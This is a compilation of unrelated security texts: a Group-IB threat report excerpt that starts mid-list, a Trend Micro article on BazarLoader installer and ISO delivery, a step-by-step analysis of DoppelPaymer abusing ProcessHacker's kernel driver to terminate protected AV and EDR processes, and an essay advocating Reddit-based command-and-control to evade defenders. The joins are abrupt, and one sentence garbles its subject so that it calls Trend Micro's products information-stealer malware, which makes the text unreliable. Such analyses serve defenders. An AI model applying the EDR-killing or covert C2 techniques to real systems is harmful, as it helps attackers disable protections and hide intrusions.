2. The report provides information on the tactics, tools, and infrastructure of various groups. The report’s goal is to minimize the risk of the groups committing further illegal acts, suppress any such activity in a timely manner, and raise awareness among readers. The report also contains recommendations on how to protect against future attacks. The details about threats are provided solely for information security specialists so that they can familiarize themselves with them, prevent similar incidents from occurring in the future, and minimize potential damage. Any information outlined in the report is not intended to advocate fraud or other illegal activities in the field of high technologies or any other fields.
3. The report is for information purposes only and is limited in distribution. Readers are not authorized to use it for commercial purposes and any other purposes not related to education or personal non-commercial use. Group-IB grants readers the right to use the report worldwide by downloading, reviewing, and quoting it to the extent justified by legitimate citation, provided that the report itself (including a link to the copyright holder’s website on which it is published) is given as the source of the quote.
4. The entire report is subject to copyright and protected by applicable intellectual property law. It is prohibited to copy, distribute (including by placing on websites), or use the information or other content without the right owner’s prior written consent.
5. If Group-IB’s copyright is violated, Group-IB will have the right to approach a court or other state institution to protect its rights and interests and seek punishment for the perpetrator as provided by law, including recovery of damages.
---
## Introduction
As the world continues to be rocked by an unpredictable pandemic, with borders still closed, businesses struggling to stay afloat, and political confrontations becoming increasingly hostile, one thing has remained constant: the steady growth of cybercrime. For 17 years, Group-IB has dedicated its efforts to investigating cybercrime, monitoring the evolution of attackers’ tactics and instruments, and developing innovative technologies to hunt for and eliminate cyber threats. The company actively shares its insights and investigations with the expert community and general public, and this expertise culminates in the annual Group-IB Hi-Tech Crime Trends report.
Hi-Tech Crime Trends gives you access to the most complete trove of strategic data and detailed information on active cyber threats. By reading the report, you will get the answers to these burning questions:
- Who are your enemies in cyberspace?
- How do they operate today?
- How will their toolkits adapt for future attacks?
- How can you protect yourself against them?
Armed with this knowledge, companies worldwide, regardless of industry, will be able to build more effective cybersecurity strategies.
---
## Key Findings and Forecasts
### Ransomware Attacks
- The main goal: create access to corporate networks for ransomware purposes.
- Over the past year, seven new ransomware affiliate programs have emerged, bringing the total to 15, which has shaped the market of corporate network access for sale.
- Between H2 2019 and H1 2020, the number of access for sale offers has increased 2.6-fold (from 138 to 362) compared to the previous period.
- There are more users who actively sell access to corporate networks. In 2019, there were 50 active sellers; in the first half of 2020, Group-IB identified 63.
- Owners of banking botnets TrickBot, Qbot, Silent Night, and RTM have started using their botnets to deploy ransomware.
### Military Operations
- More and more often, espionage is replaced by active attempts to destroy infrastructure facilities.
- During the reporting period, seven new APT groups were identified.
- A major cyberattack on a water management facility was thwarted.
### Threats to the Telecommunications Sector
- During the reporting period, six groups linked to special services actively attacked the telecommunications sector.
- China is expanding its capacities in spying on mobile operators.
### Threats to the Energy Sector
- During the reported period, nine groups linked to intelligence services attacked the energy sector.
- Many types of ransomware have been equipped with new capabilities to detect processes associated with industrial control systems.
### Threats to the Banking Sector
- Targeted thefts are becoming rare cases relevant only for poorly protected banks.
- Tools used for attacks on ATMs have evolved slightly.
### Threats to Retail
- The number of known Jssniffer families has grown from 38 to 96.
- The carding market has doubled from $880 million to $1.9 billion compared to the previous year.
### Banking Trojans
- 19 PC Trojans and 10 Android Trojans have been active this year.
- Owners of banking botnets are switching to ransomware.
### Web Phishing and Social Engineering
- A 118% growth in phishing compared to the previous year.
- Phishing attacks targeting bookmakers increased in Q2 2020.
---
## Recommendations for Top Management
- Three pillars of information security.
- General recommendations.
- Recommendations for how to set up your technical infrastructure and train your information security team.
---
## Technical Recommendations for Counteracting Cyberattacks
- Banking botnets, Trojans (TrickBot, Qbot, Silent Night, and others).
- Primitive errors: vulnerable software versions in publicly accessible services or weak passwords.
- Ransomware.
---
## Conclusion
The report provides a comprehensive overview of the current state of cyber threats and offers insights into how organizations can better protect themselves against these evolving risks. By understanding the tactics and motivations of cybercriminals, businesses can implement more effective security measures and reduce their vulnerability to attacks. |
# BazarLoader Adds Compromised Installers, ISO to Arrival and Delivery Vectors
As the installers load, it drops and executes a BazarLoader executable. This is also one of the notable differences from recent BazarLoader arrival mechanisms wherein the malicious actors appeared to favor dynamic link libraries (DLL).
Using Trend Micro Vision One, we tracked the installer creating a process, “vlc-3.0.16-win3..2.tmp,” after executing ste.exe, which copies the latter executable to the disk and executes it. It then connects with the command and control (C&C) server and injects a copy of itself into a new suspended MS Edge process.
## Arrival via ISO file
Meanwhile, we also found a delivery mechanism abusing ISO files, wherein DLL and LNK files contained inside execute the BazarLoader DLL in it. The LNK file uses a folder icon to deceive the user into double-clicking the icon, enabling the file to run the enclosed BazarLoader DLL file. It then calls the export function “EnterDLL,” a function that BazarLoader has used recently. Rundll32.exe loads the malicious DLL and communicates with the C&C server, then proceeds to spawn a suspended MS Edge process to inject itself into it.
## Conclusion
The number of arrival mechanism variations used in BazarLoader campaigns continue to increase as threat actors diversify their attack patterns to evade detection. However, both techniques are noteworthy and still work despite their lack of novelty due to singular detection technologies’ limitations. For instance, while the use of compromised installers has been observed with other malware, the large file size can still challenge detection solutions—such as sandboxes—which may implement file size limits. On the other hand, LNK files serving as shortcuts will also likely be obfuscated for the additional layers created between the shortcut and the malicious files itself.
In addition, the deployment of BazarLoader malware for initial access is a known technique for modern ransomware such as Conti and Ryuk as service affiliates. Aside from these known ransomware families including more tools for entry into their arsenal, other malware groups and ransomware operators may pick up on the additional means, if they have not already done so.
## Best practices
BazarLoader is an example of a versatile malware delivery mechanism that will likely find more ways to adapt to deceive more users. Here are some best practices to defend against this threat:
- Enable security solutions that allow for visibility in tracking processes of files, allowing security teams to detect malicious outgoing and incoming network communication and traffic.
- Download installers and updates only from their respective official websites and platforms.
Trend Micro solutions will continue to evolve as an information stealer malware on its own, an initial access malware-as-a-service (MaaS) for other malware operators, and as an enabler for secondary payload delivery for even more disruptive attacks like modern ransomware. Security teams must make monitoring and tracking for known threats more visible based on known data and use multilayered solutions capable of pattern recognition and behavior monitoring for unknown threats.
Trend Micro Vision One™ helps detect and block suspicious activity, even those that might seem insignificant when monitored from only a single layer, through multilayered protection and behavior detection. It helps spot and block BazarLoader and its other components wherever it might be on the system. Trend Micro Apex One™ employs behavior analysis to protect systems against malicious scripts, injection, ransomware, and memory and browser attacks related to fileless threats from initial access, execution, and C&C communication.
Trend Micro Worry-Free™ Business Security can protect users and businesses from BazarLoader by detecting malicious files and spammed messages, JavaScript droppers, and DLL loaders, as well as URLs associated with the threat. Trend Micro Email Security delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.
Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to ransomware attacks through specialized engines, custom sandboxing, and seamless correlation across the entire attack life cycle such as toolingress, exploits, C&C activities, and lateral movements. Trend Micro™ Deep Discovery™ Email Inspector and InterScan™ Web Security perform custom sandboxing and advanced analysis techniques to prevent malware from ever reaching end users, especially potentially vulnerable users working remotely.
Cloud-specific security solutions such as Trend Micro™ Hybrid Cloud Security can help protect cloud-native systems and their various layers. Trend Micro Cloud One™ protects cloud-native systems by securing continuous-integration and continuous-delivery (CI/CD) pipelines and applications. It also helps identify and resolve security issues sooner and improves delivery time for DevOps teams. |
# How DopplePaymer Hunts & Kills Windows Processes
In a July 2019 blog post about DoppelPaymer, Crowdstrike Intelligence reported that ProcessHacker was being hijacked to kill a list of targeted processes and gain access, delivering a “critical hit.” Although the blog is now a couple of years old, the hijacking technique is interesting enough to dig into its implementation.
The hijack occurs when ProcessHacker loads a malicious stager DLL designed to exploit legitimate behavior. Once the process has been hijacked, the stager DLL is able to terminate processes, including those protected by Protected Process Light (PPL). To accomplish this task, it leverages ProcessHacker’s kernel driver, KProcessHacker, that has been registered under the service name KProcessHacker3. This blog delves into the details about how DoppelPaymer hijacks ProcessHacker and exploits KProcessHacker to kill a list of processes, including both antivirus (AV) and endpoint detection and response (EDR) applications.
## Launching Process Hacker
To start ProcessHacker, DoppelPaymer writes the ProcessHacker executable, the KProcessHacker driver, and the malicious stager DLL into a subdirectory of `%APPDATA%`. Both the subdirectory name and the file names for the executable and driver are a unique string of alphanumeric characters. Once those two files have been written, one of the DLLs loaded by ProcessHacker has to be hijacked using a technique called “DLL search order hijacking.”
## DLL Search Order Hijacking
Similar to Dridex, DoppelPaymer uses DLL search order hijacking to exploit the DLL loading behavior for Windows processes. As the operating system PE loader loads a binary, it also needs to load the DLL files required for the PE to function. By default, MS Windows has a specific path it takes when looking for the DLL files to load. Windows checks for system DLLs in the same directory as the target binary before it checks the Windows system directories. A malicious process, in this case DoppelPaymer, can drop a malicious version of a DLL in that directory and it will be loaded by the target application.
To determine which DLL to hijack, DoppelPaymer walks the module name list in the Import Address Table (IAT) of the ProcessHacker binary. Each name is hashed with a CRC32 algorithm and compared against a hardcoded list of hashes, and if a match occurs, the name is added to a list data structure. A random number generator is used to pick one of the three names out of the list.
| CRC32 | Filename |
|-------|----------|
| 0xd8946922 | VERSION.dll |
| 0x020da855 | WINSTA.dll |
| 0x3c55abe2 | UxTheme.dll |
Once a DLL has been picked, the legitimate Windows version of the DLL is read into a memory buffer. This DLL is used as a template to build the malicious stager DLL. The file is written to the same subdirectory as the ProcessHacker executable with the same file name as the hijacked DLL.
## Creating the Process
DoppelPaymer passes two arguments to the ProcessHacker process: The first is the name of the KProcessHacker.sys driver, and the second is an integer that will be used for inter-process communication (IPC) between the DoppelPaymer and ProcessHacker processes.
```
C:\Users\ducksoup\AppData\Roaming\M28fPT\ibOLR 2LEQV0 161604546
```
## Setting Up the IPC Objects
Event handlers and section objects are used to communicate between the two processes. These objects allow DoppelPaymer to communicate directly with the stager DLL that is loaded inside the ProcessHacker process. The example handle values are used throughout the rest of this post when referencing these objects. These values vary with different executions of DoppelPaymer.
| Object Type | Handle Value | Purpose |
|-------------|--------------|---------|
| Event Object | 0x120 | Notify data in queue |
| Event Object | 0x11C | Notify data processed |
| Section Object | 0x124 | Queue used to send process information to the stager DLL |
| Section Object | 0x128 | Contains the three events |
For each section object, a view is mapped into process memory, so that DoppelPaymer is able to write data to the objects. The `0x124` object is the queue where the process information of the processes to terminate will be written. The other object, `0x128`, will contain the handle values of the other three objects: `0x120`, `0x11C`, and `0x124`. For the stager DLL to access those three handles, DoppelPaymer needs to provide the `0x128` handle value to ProcessHacker.
Sticking with the example command line, the second argument to ProcessHacker is the section object handle `0x128` XORd against the same constant value (unique per binary) used throughout the lifetime of DoppelPaymer. For this binary, the constant is `0x9a1e2ea`. XORing `0x128` with `0x9a1e2ea` gives us the decimal value `161604546`.
After these IPC objects are created, and the second argument to ProcessHacker has been generated, `CreateProcessW` is called to launch ProcessHacker. Now DoppelPaymer has to wait for the stager DLL to initialize inside of the ProcessHacker process prior to establishing inter-process communication. `NtWaitForSingleObject` is called for event handle `0x120`, and DoppelPaymer waits for that event to be signaled.
## Loading the Stager DLL
The stager DLL is loaded into ProcessHacker. Several initialization steps have to occur before the stager DLL can leverage KProcessHacker to kill processes:
- ProcessHacker’s entry point needs to be modified to ensure that none of the startup routines for ProcessHacker execute.
- The KProcessHacker service has to be initialized.
- ProcessHacker and the stager DLL have to be verified as a valid client for the KProcessHacker service.
- The IPC objects necessary for DoppelPaymer to communicate with the stager DLL need to be duplicated.
After all four of these steps have been successfully completed, the stager DLL can start killing target processes provided by DoppelPaymer.
## Reaching ProcessHacker’s Code Entrypoint Address
Once the process starts to load the stager DLL, the malicious code will start to execute, but if control isn’t passed back to the OS to finish loading ProcessHacker, it will not be usable by DoppelPaymer. The loading process completes when the entry-point address of ProcessHacker is reached. To determine when the entry point is reached, the stager DLL will overwrite the entry point of ProcessHacker with specific code.
This code is copied from the .rdata section of the stager DLL and is modified to represent the current process environment. Placeholders exist for the event handle and for the two Windows API functions used for the notification routines. The event used to signal that the entry point has been reached is created and copied to the placeholder. The addresses for `NtSetEvent` and `NtWaitForSingleObject` are resolved and written to the respective placeholders.
Once the template is complete, `VirtualProtect` is called to set ProcessHacker’s entry point to writable, the entry point code is overwritten, and the original protection restored. The new entry-point code signals to the stager DLL thread that the entry point has been reached, and it continues in an infinite loop that calls `NtWaitForSingleObject`. This infinite loop lets the stager DLL know when the entry point is reached, and it also prevents ProcessHacker from interfering with the stager DLL and prevents the ProcessHacker window from being displayed.
Now that the entry point is overwritten, the stager DLL spawns a new thread that initializes the KProcessHacker driver and sets the stage for killing AV processes. First, the thread calls `NtWaitForSingleObject` and waits for the entry point to be reached.
## Initializing the KProcessHacker Driver
The “entry point reached” event is signaled, and this thread can continue and initialize the KProcessHacker driver. The stager DLL has to create the KProcessHacker service and register the driver. The code to accomplish this task is essentially the same code used by the two ProcessHacker functions that can be found in the kph.c source code:
- KphConnect2Ex
- KphConnect
The code opens the service control manager in Windows and creates the KProcessHacker service under the name `KProcessHacker3`. The stager DLL passes the following arguments to the `CreateService` procedure:
```
CreateService(
scmHandle,
L"kprocesshacker3",
L"kprocesshacker3",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
L"C:\Users\ducksoup\AppData\Roaming\M28fPT\2LEQV0",
NULL,
NULL,
NULL,
NULL,
L""
);
```
The KProcessHacker service has been created and started and is ready to receive requests from the client ProcessHacker process. Before a client can make a request to the service, it needs to be verified.
## Kernel Verification of the KProcessHacker Client
Every time an IOCTL is sent to the KProcessHacker service, it is checked to ensure that the caller is a verified KProcessHacker client that is allowed to communicate with the service. All attempts to communicate with KProcessHacker are validated using an IOCTL request key that is generated by sending a `KPH_RETRIEVEKEY` request from the user-mode process.
The importance of this key is discussed in the “KProcessHacker IOCTL Request Keys and APC” section below. Attached to the `KPH_RETRIEVEKEY` request is an Asynchronous Procedure Call (APC) routine, `KphpWithKeyApcRoutine`, which will be executed upon completion.
KProcessHacker initializes a `KPH_CLIENT` structure that needs to be populated with the correct values to distinguish the caller as verified. This initialization occurs when the stager DLL opens a handle to the KProcessHacker driver file. As this occurs, the Windows kernel sends an `IRP_MJ_CREATE` request to the KProcessHacker driver, and the handler, `KphDispatchCreate`, is called.
```c
typedef struct _KPH_CLIENT {
struct {
ULONG VerificationPerformed : 1;
ULONG VerificationSucceeded : 1;
ULONG KeysGenerated : 1;
ULONG SpareBits : 29;
};
FAST_MUTEX StateMutex;
NTSTATUS VerificationStatus;
PVOID VerifiedProcess; // EPROCESS (for equality checking only - do not access contents)
HANDLE VerifiedProcessId;
PVOID VerifiedRangeBase;
SIZE_T VerifiedRangeSize;
// Level 1 and 2 secret keys
FAST_MUTEX KeyBackoffMutex;
KPH_KEY L1Key;
KPH_KEY L2Key;
} KPH_CLIENT, *PKPH_CLIENT;
```
This `KphDispatchCreate` function allocates kernel memory to store this data structure. Due to it being kernel memory, the stager DLL is unable to manipulate the data structure from user mode, even from inside the ProcessHacker process. Instead, the stager DLL can send a `KPH_VERIFYCLIENT` IOCTL request to the driver. The handler function, `KphVerifyClient`, for this IOCTL will set the necessary fields once the client is verified.
| IOCTL | Request Name | Description |
|-------|--------------|-------------|
| 0x99992007 | KPH_VERIFYCLIENT | Verify the client process |
| 0x999200B | KPH_RETRIEVEKEY | Retrieve the verification key |
| 0x999920CB | KPH_OPENPROCESS | Opens a process |
| 0x999920DF | KPH_TERMINATEPROCESS | Terminate a process |
The `KphVerifyClient` function first checks to see if verification has already occurred by checking the boolean value, `Client->VerificationPerformed`. If this field is false, the following checks are made by KProcessHacker:
1. Verify that the start address of the APC routine is a user-space address and not a kernel address.
2. Compare the process image file name against the mapped PE image name where the APC routine resides.
3. Verify that the APC routine address came from an area of memory that is type `MEM_IMAGE` and in a `MEM_COMMIT` state.
4. Verify the PE file backing the process making the request by hashing the file’s contents and comparing it against a digital signature.
Once verification passes, the code populates several fields that will be used for verification when the stager DLL attempts to send the `KPH_OPENPROCESS` and `KPH_TERMINATEPROCESS` IOCTL requests.
```c
status = KphVerifyFile(processFileName, Signature, SignatureSize);
if (NT_SUCCESS(status)) {
Client->VerifiedProcess = PsGetCurrentProcess();
Client->VerifiedProcessId = PsGetCurrentProcessId();
Client->VerifiedRangeBase = memoryBasicInfo.BaseAddress;
Client->VerifiedRangeSize = memoryBasicInfo.RegionSize;
}
Client->VerificationStatus = status;
Client->VerificationSucceeded = NT_SUCCESS(status);
Client->VerificationPerformed = TRUE;
```
The hijacked ProcessHacker process is now a verified client of the KProcessHacker service. A new thread is spawned to duplicate the IPC objects from DoppelPaymer into the ProcessHacker process space.
## Duplicating the IPC Objects Inside ProcessHacker
From the earlier example, the second argument, `161604546`, is decoded, yielding the handle ID of `0x128`. The section object that this handle references is duplicated in the ProcessHacker process. The section object is duplicated with the same access rights as the original.
```c
NtDuplicateObject(
DoppelPaymerProcHandle, // Process handle for source process
0x128, // Handle for the source section object
0xFFFFFFFF, // ProcessHacker process handle
duplicateHdl, // New section object handle
NULL,
NULL,
DUPLICATE_SAME_ACCESS
);
```
A view of the duplicated section object is mapped to local process memory using `NtMapViewOfSection`. It contains the same handles that were written to the section object in the DoppelPaymer process: `0x120`, `0x11C`, and `0x124`. Each of these handles is duplicated, and a view of the `0x124` section object is mapped into ProcessHacker’s process memory.
DoppelPaymer is now in a state where it is waiting for an event to be signaled that notifies it that the stager DLL has completed initialization and is ready to process requests in the queue. This notification is sent by calling `NtSetEvent` with the `0x120` event handle, and the stager DLL waits for requests.
## Killing Blocklisted Applications
Once DoppelPaymer receives the signaled event, it starts enumerating both service and process names, and hashes them with the CRC32 algorithm. These hashes are compared against a list of blocklisted hashes in DoppelPaymer’s process memory. This section discusses what happens when an application matches one of the blocklisted items.
DoppelPaymer writes the process ID associated with the service, along with a command to the mapped section object, `0x124`. The command will tell the stager DLL which steps to take.
```
AntiAV {
+0x00 Command
+0x08 Process ID
+0x10 errorCodeResponse // Response code from ProcessHacker
}
```
Process termination occurs in two steps: a process is opened, then it is killed. The first command sent, `1`, will tell the stager DLL to open a handle to the process.
| Command | Action |
|---------|--------|
| 0 | Terminate ProcessHacker |
| 1 | Open the process |
| 2 | Kill the process |
| Other value | Invalid, wait for the next command |
The command is written to the queue, along with the process ID, and DoppelPaymer signals the event to notify the stager DLL that data is in the queue. Once that event is signaled, it waits for a response.
## KProcessHacker IOCTL Request Keys and APC
Certain IOCTL requests to the KProcessHacker service require the verification of an IOCTL request key. To ensure that the key cannot be tampered with, the key is generated by the driver and stored in the `KPH_CLIENT` structure. The following IOCTL requests require a key:
- KPH_OPENPROCESS
- KPH_OPENPROCESSTOKEN
- KPH_TERMINATEPROCESS
- KPH_READVIRTUALMEMORY
- KPH_OPENTHREAD
Prior to making any of these requests, ProcessHacker has to send a `KPH_RETRIEVEKEY` request using `NtDeviceIoControlFile`. Along with this request, the user-mode address of an APC routine, `KphpWithKeyApcRoutine`, and the user-mode address of a function called by the APC are sent as parameters.
```c
NtDeviceIoControlFile(
PhKphHandle,
NULL,
KphpWithKeyApcRoutine, // Called after NtDeviceIoControlFile returns
NULL,
&context.Iosb, // Receives the status code
KPH_RETRIEVEKEY, // IOCTL
&input, // Parameters passed to IOCTL
sizeof(input),
NULL,
0
);
```
The `KPH_RETRIEVEKEY` request is handled by `KphRetrieveKeyViaApc`. Prior to generating the request key, several checks are performed to ensure that the client (ProcessHacker, in this case) making the request is verified and that the APC parameter is valid:
- Ensure the client has been verified by checking the `KPH_CLIENT->VerificationSucceeded` field.
- Ensure that the process information for the client matches what was set during the verification process.
- Ensure that the instruction address of the APC routine falls within the executable section of the verified client.
Once those checks are passed, a request key is generated and stored in the `KPH_CLIENT` structure. This key will also be passed as an argument to the APC routine. So now, both the client and the server have independent copies of the same request key. The APC routine, `KphpWithKeyApcRoutine`, executes.
As noted earlier, the APC routine receives a function pointer that will be used to execute a specific action (kill process, open process, etc.). To restrict which requests can be made via this APC routine, it makes sure that only specific functions can be called from the APC. This check prevents DLLs from being injected into ProcessHacker and leveraging the `KphpWithKeyApcRoutine` APC as a method to execute its own routines under the guise of being a valid `KPH_CLIENT`.
The author of the stager DLL scraps the original `KphpWithKeyApcRoutine` routine and passes their own APC routine, `StagerAPCRoutine`. The code for this is written directly after ProcessHacker’s overwritten entry-point code. This bypasses both of the function pointer checks and passes the checks performed by `KphRetrieveKeyViaApc`.
## Opening a Process Handle
As outlined in the previous section, to open a process handle, a `KPH_RETRIEVEKEY` request is sent to the KProcessHacker service. Along with this request, the `StagerAPCRoutine` address and the address of the function called by the APC open a process, `StagerOpenProcess`. A new request key is generated, saved to `KPH_CLIENT`, and passed to `StagerAPCRoutine`. Once everything has been validated, the `StagerAPCRoutine` calls `StagerOpenProcess` where a `KPH_OPENPROCESS` request is sent to the KProcessHacker service. Both the client copy of the request key and the process ID of the target are sent with the request.
The service handles this request by calling `KpiOpenProcess`. Before a handle to the process can be opened, the client’s request key is validated by calling `KphValidateKey`, where the client copy of the key is compared against the copy stored in `KPH_CLIENT`. If these match, a handle to the target process is opened. `PsLookupProcessByProcessId` is called to get a pointer to the process object in kernel memory. That pointer is used to open a handle to the object by calling `ObOpenObjectByPointer`. This handle can now be referenced by the stager DLL.
The stager DLL signals the `0x120` event handle, notifying DoppelPaymer that a handle has successfully been opened to the target process. Now the process can be killed.
## Killing a Process
DoppelPaymer verifies that the process was successfully opened, and then takes the appropriate action. If an error occurred, it continues checking for blocklisted applications; otherwise, another notification is sent, this time with the command `2` to terminate the process.
Terminating a process follows the same procedure as opening a process with one difference: The `StagerKillProcess` function pointer is passed to the `StagerAPCRoutine`. The `StagerKillProcess` function sends a `KPH_TERMINATEPROCESS` request to the KProcessHacker service. This is handled by the `KpiTerminateProcess` kernel-mode function. The request key is validated before process termination can occur. The target process is reopened to get a kernel handle, and `ZwTerminateProcess` is called to kill the process. Note that using this procedure ignores PPL, so even protected processes will be killed.
## Conclusion
DoppelPaymer’s usage of ProcessHacker to kill AV services is part of a larger trend of various actors leveraging legitimate tools to disable AV/EDR functionality. DoppelPaymer’s method is a testament to how innovative malware authors can be when it comes to neutralizing the defenses of their target. |
# An Overview of Public Platform C2s
As most of us already know, the concept of a Command and Control (C2) framework has been around for ages, given that the ability to persistently communicate with compromised hosts is critical to running any worthwhile campaign. Historically, the general structure of these C2s has followed suit with how most of our networking communications have been built: as a client-server model. The client, which in this case is an infected host, is configured to communicate directly with a server in order to determine any actions it needs to take. In almost every malware analysis report you read, you’ll probably see one or more IP addresses or domain names that the piece of malware (which in C2 lingo is referred to as an implant) is configured to “check in” with and obtain “action requests” from. Once these IP addresses or domain names are identified and made public, defenders simply check their network for hosts calling to those IPs, terminate the implants running on those hosts, then block egress/ingress traffic to those IPs or domain names to prevent future issues with the campaign. Then, predictably, the threat actor, now seeing their command servers noted as an Indicator of Compromise (IoC), switches up their infrastructure, updates their implants to call to different command servers, and continue on with their campaign. This scenario is obviously very much simplified, but it's a pattern that we see constantly in the perpetual game of cat and mouse between attackers and defenders.
However, how would this scenario change if the domain name being called by the implant is drive[.]google[.]com? What about reddit[.]com, or github[.]com? Would you, as a defender, be able to block traffic going to those domains to prevent the effectiveness of the implant? Of course not; the users on your network would be cut off from major sites that may be critical to their day-to-day operations. When you analyze the traffic destined for these domains, would you be able to determine when traffic is malicious and when it's your users simply using the services normally? Maybe, though it certainly won’t be easy; at least, not nearly as easy as seeing traffic going to imac2server[.]cn and knowing right away that the traffic is bad news.
What I have just described is what we’re going to be talking about in this writing. A public platform C2, which I’ll be abbreviating to “P2C2,” is a Command and Control structure that uses legitimate, innocuous platforms to facilitate server-implant communications. In essence, P2C2s use a reputable service as a proxy, masking the identity of the actual attacking infrastructure and hiding C2 traffic within a sea of innocuous HTTPS traffic that makes up the vast majority of today’s network communications.
For the past few months, I have been incrementally working on a project called redViper, which is a C2 Framework that uses Reddit for all of its implant-server communications. While working on the project, I’ve really enjoyed facing the challenges and reaping the benefits that come with using a P2C2. While redViper is very much a proof of concept and isn’t particularly sophisticated (especially the current implant code, which is largely just a placeholder), I nonetheless am really happy with how the project turned out, and it has solidified my belief that using a public platform as a means of C2 communications could actually be a viable solution for attackers, especially in environments where traffic is extensively filtered. In this writing, I’m going to discuss the advantages, disadvantages, and use cases of P2C2s, using not only my experience building redViper, but also using examples of P2C2s that already have been used in the wild.
## Advantages of a P2C2
When it comes to covert channels and communications, I am a strong believer in the concept of obscurity through uniformity. From a defensive perspective, threat hunting and security operations are based almost solely on the concept of anomaly detection. By asking “what traffic and activity aren’t normal to my network?” and having the means of finding that traffic, defenders can oftentimes catch malicious activity. By definition, the concept of uniformity nullifies the concept of anomaly. Think of, for example, school uniforms. When students are able to wear whatever clothes they want, every person appears unique and differentiable; even if you couldn’t see their faces, you could easily differentiate each student from one another based on the difference in clothing. When students are forced to wear a school uniform, however, it becomes much more difficult. Sure you could maybe identify each individual by their body shape or height, but as you can imagine, it becomes a lot harder to tell who’s who.
This is what I find the ideal scenario to be when it comes to C2 communications; if my malicious traffic is wearing the same uniform as Karen-from-accounting’s web surfing, defenders are going to have a tough time finding my needle in their haystack of standard web traffic. We can actually see attackers chase this desired uniformity over time in the evolution of C2s. Initially, many C2s used their own binary protocols that used some arbitrary port to communicate on, which quickly became easy to catch. Nowadays, most notable C2s used by threat actors use some form of HTTP or HTTPS for communicating, which makes the task of finding C2 traffic a bit tougher since, as we talked about earlier, HTTP(s) is what most standard network traffic consists of. P2C2s take another step in this direction by saying “you know what, not only am I going to use the same protocol as most of your network traffic, I’m going to go to the same PLACES as most of your traffic.” It is this concept that encompasses the first core advantage of P2C2s: the natural innocuity of the communications. Without diving very deep into the traffic content itself, the traffic being sent from and to implants looks completely innocent; it’s over an encrypted HTTPS connection, going to a well-known, trusted site. To the average eye, it looks like a normal user using some commonly used website.
What does this mean? Well, first of all, it nullifies essentially every security tool or application that operates lower than Layer 7; packet filtering is useless, stateful firewalls are useless, and even many application firewalls will be of very little use. By using a P2C2, you have made almost every firewall on the planet a waste of metal. Second, it drastically reduces the chances of a blue teamer ever taking the time to analyze your traffic. If I see a mass of traffic going to thnxforthedata[.]ru, a domain I’ve never seen in my entire life, I’m going to question the legitimacy of that traffic and take a closer look at it. If I see a mass of traffic going to reddit[.]com, my first thought isn’t, “well I should probably look into this.” I’d assume, as well as almost every person on the planet would as well, that the traffic going to reddit[.]com is, well, someone browsing reddit. The discovery of P2C2 communications is almost always going to be from the discovery of an IoC other than the network traffic itself (discovery of implant, malicious commands being detected, etc.), which means that if I build potent implants and operate responsibly, my dwell time will likely exponentially exceed what it would be if my implants were calling back to a suspicious hostname/IP or using a custom protocol.
The second core advantage of P2C2s is the inconsequentiality, and as a result the pseudo-resilience, of an attacker’s infrastructure. Think about how you as a regular user traditionally interact with, for example, Reddit: you use the browser of a desktop computer, log in to the Reddit website, then you go about using the site. Did it matter what browser you used, or the computer you logged in from? Would you be able to achieve the same results if you were on an entirely different host, in an entirely different network, using an entirely different browser? Of course. In order to use the Reddit platform reliably, the only thing that must remain static and available is Reddit itself. If your desktop computer explodes while you’re using Reddit, you don’t permanently lose the ability to access your account; you simply just have to use a different computer.
The same is true for an attacker utilizing a P2C2. The actual system that’s running the C2 server application is largely inconsequential. All the C2 server is really doing is just logging into a public platform and interacting with it, just like a normal user does. If for some reason an attacker’s infrastructure is burned, becomes unusable, or has access revoked, it does not nullify or doom the P2C2; the implants are still talking to the public platform and will continue to do so even if the system the attacker was working from is dead, since the implants don’t have the inclination or even the concept of attacker-controlled infrastructure. If I, as an attacker, need to move my core operations to another system, I can do so with great ease; I just have to re-run the server application using the same credentials from another host, and from the implant's perspective absolutely nothing has changed. This creates the concept of a notional infrastructure: the attacker is of course operating from somewhere, but since that source can’t possibly be extracted from the P2C2 independently, and can change with phenomenal ease, that infrastructure might as well only exist in theory. Again, this generates two advantages, resilience and anonymity. It builds natural resilience because the functioning of the P2C2 is dependent on the uptime of the public platform, not the attacker’s infrastructure; and, generally speaking, popular public platforms will be far more resilient and reliable than disparate hosts under the control of a malicious actor. Second, because all the implants communicate directly with a public platform, and not an attacker-controlled server, the location, composition, and even the existence of the attacker’s infrastructure is unknown to defenders. The most that can be known is what accounts are being used by the actor on the specific public platform, which gives very little information regarding the actor itself. In other words, actors who use P2C2s will no longer be attributed to a set of IPs and domains; they’ll instead be attributed to accounts, which are far more disposable, flexible, and replicable.
All of this together paints a picture that the utilization of a P2C2 instead of a traditional C2 can make both the detection and attribution of an actor exponentially more difficult in the right circumstances, which is obviously very advantageous to an attacker.
## Disadvantages of a P2C2
Just like everything in life, garnering positive outcomes is often going to come at the expense of other things. That remains true for P2C2s as well; what we gain in anonymity and covertness, we lose in control and independence. Let’s talk about the problems that could be ran into when using a P2C2 from two different perspectives: a legally contracted red team and an actual criminal threat actor.
The primary issue of using a P2C2 as a red teamer or pentester is more of a legal one than a technical one. I am by no means a law expert so take what I say with a grain of salt, but from my understanding it would be quite difficult to use a P2C2 within the context of a contractual agreement with an organization, because in many ways you’re taking potentially private information from that organization and placing it on a public platform. If you run the “cat /home/bob/employee_info.txt” command using a P2C2, what you’re essentially doing is telling your customer’s computer to take private organizational data and place it on a third party’s infrastructure. Now, in the case of redViper, and in most P2C2 implementations, this data will be encrypted and protected in a multitude of ways (in the case of redViper, the data is encrypted and sent on a private subreddit with restrictive access), so the chances of an unauthorized person seeing this data is quite low. However, this doesn’t change the fact that the confidential data of one party is being temporarily placed on the infrastructure of another intermediary party which has not been tied into a contractual agreement. Based on my very limited knowledge of the legal side of penetration testing, this could cause some issues and prevent P2C2s from being able to be properly tested against corporate networks, which in some ways is another advantage from the perspective of real threat actors.
